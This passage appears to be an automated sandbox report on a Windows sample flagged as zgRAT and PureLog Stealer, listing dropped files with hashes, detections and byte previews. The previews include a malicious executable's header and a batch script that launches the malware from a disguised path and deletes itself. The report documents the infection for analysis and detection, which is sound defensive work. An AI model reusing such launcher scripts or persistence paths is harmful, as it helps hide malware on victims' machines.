Preview:	LEplnkxXnQVOcyZhzHBfltvLOestQd9uz7tSmChLya5ovZIPvomcTFCcSeWJ1DGKRkYeEG4xk0rKyHZzVd8l0hbt4Q9IpXTuUuWLAnKouz1dY1oLEhyYFfUuIokxGwINg60DuOyrST1Bp8VCmyDHi4pyamCWDWh8qo6cBkaztGGvnTEKThLSsBomRBnIMbo5w3UBC2BBYNXcx3LHi2DfLPQp9TL97SnRcL9u8DIagJ3enLyX0fjUYItgmpBsrCDFkGAm3aIfum8BVvBxfxIbsT2TbdHSBZseGy3gLLdaXEkwJsK1nNM43lXQNqLaSzdU3e5h1flTTsEntGJsSQpxMylebmSfACHhlP2pxn9Il3kKhthHhcICKpHF3aGOMGTQlhCdNd5oQgMTNa7sFK8h4EX5IwwWhu5fjTiAqE4Dhdvndx2cdXJBIvWhKHVbriHglru317BBQ5AaStcU4T3Jk4Wx7B0jscV8VPCwD8lgWIuNv5OaoAgYp85qU65zHcSxjCEDqqR6sXwcJJCBxZ4s66SXTVbGCvY4z6ns0Kt8tkqSLchK43Brhk1ntrtVOK3682mMgTLnp59WQAL0yQMItrWPFA8JaYuiqtTS0UoksYBllfWtf3g78uMRgXHgUBNRLapgr3AdmlZVpuoknP

C:\Recovery\RuntimeBroker.exe

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2025984
Entropy (8bit):	7.5739640210308465
Encrypted:	false
SSDEEP:	49152:xq9/4rTuPInOgODSegbQddnpKSVVvncFn8:xGPIr1UDhv
MD5:	77967721CE1C8B3F0EB800BD33527897
SHA1:	6CACE6DB7C38EC0F438B9D7A2A323A90E703A904
SHA-256:	524FDB6F99BA45BA54D3445BFFB08D32F63E0642516DA16D4B31B8BA22325BD7
SHA-512:	5C0C90952462704C879125EBF9102796608DD7D8722F84183706BCB4748057ED23894E00F1D6B078AB8D8E7089B818CF9FDE7090302E83B5D0431418EC833165
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Recovery\RuntimeBroker.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Recovery\RuntimeBroker.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?.qg................................. ... ....@.. .......................`............@.....................................K.... .. ....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc... .... ......................@....reloc.......@......................@..B........................H.......L...\|..............7............................................0..........(.... ........8........E....)...=..........8$...(.... ....~....{....:....& ....8....(.... ........8....(.... ....~....{....:....& ....8........0.......... ........8........E........f...1...v...Z...8........~....(T...~....(X... ....?>... ....8....~....:... ....~....{....:....& ....8....r...ps....z...... ....8q...~....(L... .... .... ....s....~....(P....... ....~....{....:1...& ....8&.....(.

C:\Users\Public\Desktop\Everything.lnk

Download File

Process:	C:\Program Files\Everything\Everything.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Wed Jan 8 15:12:21 2025, mtime=Wed Jan 8 15:12:22 2025, atime=Thu May 25 23:40:00 2023, length=2265096, window=hide
Category:	dropped
Size (bytes):	1062
Entropy (8bit):	4.672675816995648
Encrypted:	false
SSDEEP:	12:8mK2POicJYXuh9/nKmBdpF4G9llSKz/r50GWplv/ygIAjAsembdp3+bdph1NJ9EC:8morvBdNZX0lrAseCd5advJ93qygm
MD5:	F79A4577D07FC18722C497987CA93444
SHA1:	1DD2183751FC139F3C21B58BC3C3BA59726E471F
SHA-256:	4A0220C63869FBF7ACD1C4CF629DEDD67DCCD9073165EFF8177E79C7A87064E6
SHA-512:	137FDA1140B09370426FFF0D09047BB7EA9DC84D0F5411A28F12EB53F68BCC09B28B19C2DFAA67459B22D53E40DB3A5F8850D7EE0713F69285ACC57463EC6475
Malicious:	false
Reputation:	unknown
Preview:	L..................F.... ...U....a..z8I..a....+.j....."..........................P.O. .:i.....+00.../C:\.....................1.....(Z....PROGRA~1..t......O.I(Z......B...............J......"%.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....^.1.....(Z....EVERYT~1..F......(Z..(Z................................E.v.e.r.y.t.h.i.n.g.....j.2..."..V.. .EVERYT~1.EXE..N......(Z..(Z................................E.v.e.r.y.t.h.i.n.g...e.x.e.......Y...............-.......X............N.......C:\Program Files\Everything\Everything.exe..0.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.E.v.e.r.y.t.h.i.n.g.\.E.v.e.r.y.t.h.i.n.g...e.x.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.E.v.e.r.y.t.h.i.n.g.........&................c^...NI..e.2.......`.......X.......124406...........hT..CrF.f4... .D.2=.b...,...W..hT..CrF.f4... .D.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4.7.6.7.5.6.6.3.4.-.1.0.0.3.........9..

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0\UsageLogs\wxl1r0lntg.exe.log

Download File

Process:	C:\Users\user\Desktop\wxl1r0lntg.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	128
Entropy (8bit):	5.152666090295162
Encrypted:	false
SSDEEP:	3:QHXMKaZImrnLCg+HWN9mQLxZ2LFv:Q3LadLC1HWN9Lx+v
MD5:	273D3495D02634858AB97664EEA695E9
SHA1:	4875DE7E82848E41CBFF6DEDE96FDAF2E6777AAD
SHA-256:	ECE7A9B2F9249E4E14C50EE1904505BBD7AD91D0A3D16368A9465FF4392E831B
SHA-512:	68DF6B2577EE35FD9E14DA5DA4CD8A5977A75D4BDDEA536A9726E9CDCED029EA3D5E392BB114B1D3A9B91EF804A160D8DCEF945B25CA719CFFA30D3EE5C3EBFF
Malicious:	true
Reputation:	unknown
Preview:	1,"fusion","GAC",0..3,"C:\Windows\assembly\NativeImages_v2.0.50727_64\System\60bcd4094a2a6aa9ef85662f2bad1392\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Everything.exe.log

Download File

Process:	C:\Program Files\Everything\Everything.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.355760272568367
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2FDkwIyp1v:Q3La/KDLI4MWuPXcp1v
MD5:	FC3575D5BE1A5405683DC33B66D36243
SHA1:	1C816D34B7D5B96E077DC3EF640BA8C7BA370502
SHA-256:	1D7F7FBA862417A1D0351C1BF454F1A9BB0ED7FFD5DF1112EED802C01BDDA50C
SHA-512:	68914FE00F8550A623074F9ACC31ACEF8A3F6DFDDBD9FDA23512079BEC5E8A4D4E82BC8CD8D536E6C88F4DA3A704AC376785B44343BD3BED83E440857A3C0164
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe.log

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	847
Entropy (8bit):	5.354334472896228
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQwYHKGSI6oPtHTHhAHKKkb
MD5:	9F9FA9EFE67E9BBD165432FA39813EEA
SHA1:	6FE9587FB8B6D9FE9FA9ADE987CB8112C294247A
SHA-256:	4488EA75E0AC1E2DEB4B7FC35D304CAED2F877A7FB4CC6B8755AE13D709CF37B
SHA-512:	F4666179D760D32871DDF54700D6B283AD8DA82FA6B867A214557CBAB757F74ACDFCAD824FB188005C0CEF3B05BF2352B9CA51B2C55AECF762468BB8F5560DB3
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\containerwebruntime.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	5.356756887109143
Encrypted:	false
SSDEEP:	48:MxHKQwYHKGSI6oPtHTHhAHKKkrJHV1qHGIs1HmHKlT4vHNpv:iqbYqGSI6oPtzHeqKkt1wmj1GqZ4vtpv
MD5:	492A92D0EE9C7BD43DFCEC3E9B5026E2
SHA1:	93BC2DF595AA42E5D5EA39524B2BADCA903C964E
SHA-256:	03EB4302FE4EAADFA51D085CE53742C2DE6B09FDF2E3D9777E35CA638393135B
SHA-512:	B24A61EC3D0E8B44D65DE4DCCCB0BC8EE1F95471FEB72C529217F82B7342AC704EA38A24E698E5AE69BAF31AC28C6C1D8EE11FAEDA6BF49265F29B804B9D5F82
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..2,"System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyT

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\sihost.exe.log

Download File

Process:	C:\Windows\apppatch\CustomSDB\sihost.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	847
Entropy (8bit):	5.354334472896228
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQwYHKGSI6oPtHTHhAHKKkb
MD5:	9F9FA9EFE67E9BBD165432FA39813EEA
SHA1:	6FE9587FB8B6D9FE9FA9ADE987CB8112C294247A
SHA-256:	4488EA75E0AC1E2DEB4B7FC35D304CAED2F877A7FB4CC6B8755AE13D709CF37B
SHA-512:	F4666179D760D32871DDF54700D6B283AD8DA82FA6B867A214557CBAB757F74ACDFCAD824FB188005C0CEF3B05BF2352B9CA51B2C55AECF762468BB8F5560DB3
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	19253
Entropy (8bit):	5.005753878328145
Encrypted:	false
SSDEEP:	384:hrib4ZmVoGIpN6KQkj2Fkjh4iUxDhQIeQo+OdBANXp5yvOjJlYoaYpib47:hLmV3IpNBQkj2Uh4iUxDhiQo+OdBANZD
MD5:	81D32E8AE893770C4DEA5135D1D8E78D
SHA1:	CA54EF62836AEEAEDC9F16FF80FD2950B53FBA0D
SHA-256:	6A8BCF8BC8383C0DCF9AECA9948D91FD622458ECF7AF745858D0B07EFA9DCF89
SHA-512:	FDF4BE11A2FC7837E03FBEFECCDD32E554950E8DF3F89E441C1A7B1BC7D8DA421CEA06ED3E2DE90DDC9DA3E60166BA8C2262AFF30C3A7FFDE953BA17AE48BF9A
Malicious:	false
Reputation:	unknown
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulNg7/l/lZ:NllUy7/
MD5:	C2537D289A7DB67172EF4C08F96CB120
SHA1:	95114E0682CC761B86321F0DCC5CBE9A3E89DB21
SHA-256:	26D1A27AED70765338B4BCFEDC7C23289CFDA9A984B1A55799FB89CFAE10C3C9
SHA-512:	B991F49ECB907FA7CFCF6121BA004C1C5156A86F508E22B76FD1E53B21B7D6C4831EFF8EBCFB2CC9CB97E44DD578B276B734CB1D3CE96355E51C4578FB227603
Malicious:	false
Reputation:	unknown
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\7I1Ltvq7fR

Download File

Process:	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AlJlaJRqAp

Download File

Process:	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\G58WwOpVK8

Download File

Process:	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.293660689688185
Encrypted:	false
SSDEEP:	3:z15svk+V2k2n:XE2k2
MD5:	567B8C00B41A8A89999562B6D1C1428B
SHA1:	3550A00F16BBAB2C29755E3C810755C88A8F726D
SHA-256:	821BDF43E2E227EBD5814FD78D73C1CF05732282DA1AB08521A7FF534DD12F0F
SHA-512:	B6DB57F943A5DF067E527C49A0AA49DF3C20C99ADD8C6221E6B2D2227C74B0D2F8E3D00F865CE4F4CF148A72A06323A702807839D99B791F745668567BFCA9B1
Malicious:	false
Reputation:	unknown
Preview:	XVpPwoIRwiA6W0ZmTR3FqVrdV

C:\Users\user\AppData\Local\Temp\G6vLROklNp

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.5638561897747225
Encrypted:	false
SSDEEP:	3:sxMEy:sKEy
MD5:	B6DF2FC2F478EA95FA47F578CD54233E
SHA1:	FEE8473854CCC77DCF534C916FA35132F3C34A46
SHA-256:	BBFBC0391D905010363252EC684B8BD93F44BBECB2A74A604B8063AA41CE80C3
SHA-512:	FBA377BAECBC6752E0899EE80DD7CD8C958A5A5F882D543DAA52669BD5C713E8C89ACA84C6F60C8598B992F780E842B503EF396D98ECE6B3358CBC6924924782
Malicious:	false
Reputation:	unknown
Preview:	NgGzfn6dlpU4Vwt0QqjIi7Rt1

C:\Users\user\AppData\Local\Temp\IrHtqahUDN

Download File

Process:	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JiI6J4YbFR

Download File

Process:	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KDhudFNWvk.bat

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	245
Entropy (8bit):	5.402423599137763
Encrypted:	false
SSDEEP:	6:hCijTg3Nou1SV+DER5SMLUnkAIyKOZG1923fryJ:HTg9uYDEfSMYnbfDC
MD5:	7A42B66A95974ACCEBE87D8D19C33D0A
SHA1:	6120DDC30122A7F7741650352721CB6CC1822CE5
SHA-256:	A918B8DE1B70544000FC12C9F2AFF402042EC79BB4749A7E61E79271A8DBDDA5
SHA-512:	8AA7C4CB8252A19EA4581183A928834F5C4FAE0BA86CCFC4D140E2072BE62E65A54CD3E21CC0B30AA63D323C7773F29BD7C75E5F1B2B2E3EBC1E4C8E0829F899
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Reputation:	unknown
Preview:	@echo off..chcp 65001..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nul..start "" "C:\Program Files (x86)\windows nt\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\KDhudFNWvk.bat"

C:\Users\user\AppData\Local\Temp\LTvqp8K1dn

Download File

Process:	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RESAD56.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x6f8, 10 symbols, created Wed Jan 8 17:21:29 2025, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1968
Entropy (8bit):	4.63694795451059
Encrypted:	false
SSDEEP:	24:H/DW9+aLzuuHDwKTaN6lmxT0uZhNB+h9PNnqpdt4+lEbNFjMyi0+GcN:vaLzuu0KeklmuulB+hnqXSfbNtmhT
MD5:	73F67B3CE33A3CF511F3838E4549B3D9
SHA1:	83F69E5F60CEF9ADBE06FD114CB80FD1A74DE072
SHA-256:	74E3A4325738F4D9BC7D5589F3B04708905979233D761EA97B7B043B696FCBC7
SHA-512:	18B1EF8D0CA66D53F969406B92A38D4C2FE4244EAEA4926D8025A10FB751BA114511C7DAB588D8342FDA8C89F28AA15EB38F19E51BA923FD89E7348991D048E7
Malicious:	false
Reputation:	unknown
Preview:	L.....~g.............debug$S............................@..B.rsrc$01............................@..@.rsrc$02........8...................@..@........Z....c:\Program Files (x86)\Microsoft\Edge\Application\CSCCB61929627DF440F9E17C549CE99168.TMP.....................q.QK.......N..........5.......C:\Users\user\AppData\Local\Temp\RESAD56.tmp.-.<....................a..Microsoft (R) CVTRES...=..cwd.C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe......................... .......8.......................P.......................h.......................................................D...............................................D.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....

C:\Users\user\AppData\Local\Temp\RESAFE6.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x710, 10 symbols, created Wed Jan 8 17:21:30 2025, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1992
Entropy (8bit):	4.586497160870922
Encrypted:	false
SSDEEP:	24:HLy9qOOXQHRwKTaNyluxOysuZhN7jSjRzPNnqpdt4+lEbNFjMyi0+mUZ:rXQaKeMluOulajfqXSfbNtmhRZ
MD5:	133606FEAEB274A06ADFDF2F3238C45C
SHA1:	4447F01100301068FB20BEB9B4FF20500DD554B3
SHA-256:	E8BF0AC117D8B79CCD4DFA2A5D3EB3BBFF08DDF0B6864AC1413596F3C5A5F053
SHA-512:	CDF50B4DBA27C8B7903D09CEB947BD26A37DDE7253EA14948C22456EE87B595CBF681714BFCF32EE2D1E1A71EC1D800784F08F919800DB49C7E557EA468DB72B
Malicious:	false
Reputation:	unknown
Preview:	L.....~g.............debug$S........`...................@..B.rsrc$01............................@..@.rsrc$02........p...................@..@........;....c:\Windows\System32\CSCE2A537B39618441DAC64E34137FF17.TMP...................r.av..t.y..............5.......C:\Users\user\AppData\Local\Temp\RESAFE6.tmp.-.<....................a..Microsoft (R) CVTRES...=..cwd.C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe......................... .......8.......................P.......................h.......................................................\|...............................................\|.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...T.....I.n.t.e.r.

C:\Users\user\AppData\Local\Temp\RESB66E.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x6f0, 10 symbols, created Wed Jan 8 17:21:31 2025, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1960
Entropy (8bit):	4.613180525518033
Encrypted:	false
SSDEEP:	24:Hll9rW92aflHowKTaNqlWxjkuZhNUGQBXPNnqpdt4+lEbNFjMyi0+OK8:jadXKeUlWuulUGQBFqXSfbNtmhM
MD5:	FACDCF3CC9E40E6175D9A32F1368D87A
SHA1:	5A12FAA338E34B365EDDC0CD93448C4E9446AE02
SHA-256:	02D9662C7221197FCBD28D5C42419B37AE0D8CFB27B40DD2F9CF7FDAC2BEA741
